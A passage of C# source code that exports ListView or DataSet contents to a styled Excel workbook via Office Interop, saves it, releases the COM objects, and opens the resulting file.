            Microsoft.Office.Interop.Excel.Application xlApp;
            Microsoft.Office.Interop.Excel.Workbook xlWorkBook;
            Microsoft.Office.Interop.Excel.Worksheet xlWorkSheet = null;
            Microsoft.Office.Interop.Excel.Range Cel = null;
            object misValue = System.Reflection.Missing.Value;

            xlApp = new Microsoft.Office.Interop.Excel.Application();
            xlWorkBook = xlApp.Workbooks.Add(misValue);

            if (ds == null)
            {
                xlWorkSheet = (Microsoft.Office.Interop.Excel.Worksheet)xlWorkBook.Worksheets.get_Item(tableIndex + 1);

                colLength = listView.Columns.Count;
                ColumnHeader column = null;
                for (int i = 0; i < listView.Items.Count; i++ )
                {
                    if (row == 2) i = 0;
                    ListViewItem li = listView.Items[i];
                    for (col = 1; col <= colLength; )
                    {
                        column = listView.Columns[col - 1];
                        if (row == 1)
                        {
                            xlWorkSheet.Cells[row, col] = "" + column.Text;

                            Cel = (Microsoft.Office.Interop.Excel.Range) xlWorkSheet.Cells[row, col];
                            Cel.BorderAround(Microsoft.Office.Interop.Excel.XlLineStyle.xlContinuous
                                , Microsoft.Office.Interop.Excel.XlBorderWeight.xlThin
                                , Microsoft.Office.Interop.Excel.XlColorIndex.xlColorIndexAutomatic
                                , 1);
                            Cel.Interior.Color = ColorTranslator.ToOle(Color.Silver);
                            Cel.Font.Color = ColorTranslator.ToOle(Color.Black);
                            Cel.Font.Bold = true;
                            Cel.ColumnWidth = column.Width / 4.5;
                        }
                        else
                        {
                            try
                            {
                                if (col == 1)
                                    xlWorkSheet.Cells[row, col] = "" + li.Text;
                                else
                                    xlWorkSheet.Cells[row, col] = "" + li.SubItems[col - 1].Text;
                            }
                            catch { }
                        }                      
                        col++;
                    }
                    row++;
                }
            }
            else
                for (tableIndex = 0; tableIndex < ds.Tables.Count; tableIndex++)
                {
                    DataTable dt = ds.Tables[tableIndex];
                    xlWorkSheet = (Microsoft.Office.Interop.Excel.Worksheet)xlWorkBook.Worksheets.get_Item(tableIndex + 1);

                    if (listView != null && listView.Columns.Count > 0)
                    {
                        colLength = listView.Columns.Count;
                        ColumnHeader column = null;
                        for (int i = 0; i < listView.Items.Count; i++ )
                        {
                            if (row == 2) i = 0;
                            DataRow dr = dt.Rows[i];
                            for (col = 1; col <= colLength; )
                            {
                                column = listView.Columns[col - 1];
                                if (row == 1)
                                {
                                    xlWorkSheet.Cells[row, col] = "" + column.Text;

                                    Cel = (Microsoft.Office.Interop.Excel.Range)xlWorkSheet.Cells[row, col];
                                    Cel.BorderAround(Microsoft.Office.Interop.Excel.XlLineStyle.xlContinuous
                                        , Microsoft.Office.Interop.Excel.XlBorderWeight.xlThin
                                        , Microsoft.Office.Interop.Excel.XlColorIndex.xlColorIndexAutomatic
                                        , 1);
                                    Cel.Interior.Color = ColorTranslator.ToOle(Color.Silver);
                                    Cel.Font.Color = ColorTranslator.ToOle(Color.Black);
                                    Cel.Font.Bold = true;
                                    Cel.ColumnWidth = ("" + column.Text).Length * 4.5;
                                }
                                else
                                {
                                    xlWorkSheet.Cells[row, col] = "" + dr[column.Tag.ToString()];
                                }
                                col++;
                            }
                            row++;
                        }
                    }
                    else
                    {
                        colLength = dt.Columns.Count;
                        DataColumn column = null;
                        for (int i = 0; i < dt.Rows.Count; i++)
                        {
                            if (row == 2) i = 0;
                            DataRow dr = dt.Rows[i];
                            for (col = 1; col <= colLength; )
                            {
                                column = dt.Columns[col - 1];
                                if (row == 1)
                                {
                                    xlWorkSheet.Cells[row, col] = "" + column.ColumnName;

                                    Cel = (Microsoft.Office.Interop.Excel.Range)xlWorkSheet.Cells[row, col];
                                    Cel.BorderAround(Microsoft.Office.Interop.Excel.XlLineStyle.xlContinuous
                                        , Microsoft.Office.Interop.Excel.XlBorderWeight.xlThin
                                        , Microsoft.Office.Interop.Excel.XlColorIndex.xlColorIndexAutomatic
                                        , 1);
                                    Cel.Interior.Color = ColorTranslator.ToOle(Color.Silver);
                                    Cel.Font.Color = ColorTranslator.ToOle(Color.Black);
                                    Cel.Font.Bold = true;
                                    Cel.ColumnWidth = ("" + column.ColumnName).Length * 4.5;
                                }
                                else
                                {
                                    xlWorkSheet.Cells[row, col] = "" + dr[column.ColumnName];
                                }
                                col++;
                            }
                            row++;
                        }
                    }
                }

            xlWorkBook.SaveAs(filename
                , Microsoft.Office.Interop.Excel.XlFileFormat.xlWorkbookNormal
                , misValue, misValue, misValue, misValue
                , Microsoft.Office.Interop.Excel.XlSaveAsAccessMode.xlExclusive
                , misValue, misValue, misValue, misValue, misValue);
            xlWorkBook.Close(true, misValue, misValue);
            xlApp.Quit();

            releaseObject(xlWorkSheet);
            releaseObject(xlWorkBook);
            releaseObject(xlApp);

            Process p;
            ProcessStartInfo pInfo;
            try
            {
                pInfo = new ProcessStartInfo();
                pInfo.Verb = "open";
                pInfo.FileName = filename;
                pInfo.UseShellExecute = true;
                pInfo.WindowStyle = ProcessWindowStyle.Maximized;

                p = Process.Start(pInfo);
            }
            catch { }
        }

        public static void releaseObject(object obj)
        {
            try
            {
                System.Runtime.InteropServices.Marshal.ReleaseComObject(obj);
                obj = null;
            }
            catch (Exception ex)
            {
                obj = null;
                MessageBox.Show("Exception Occured while releasing object " + ex.ToString());
            }
            finally
            {
                GC.Collect();
            }
        }
    }
}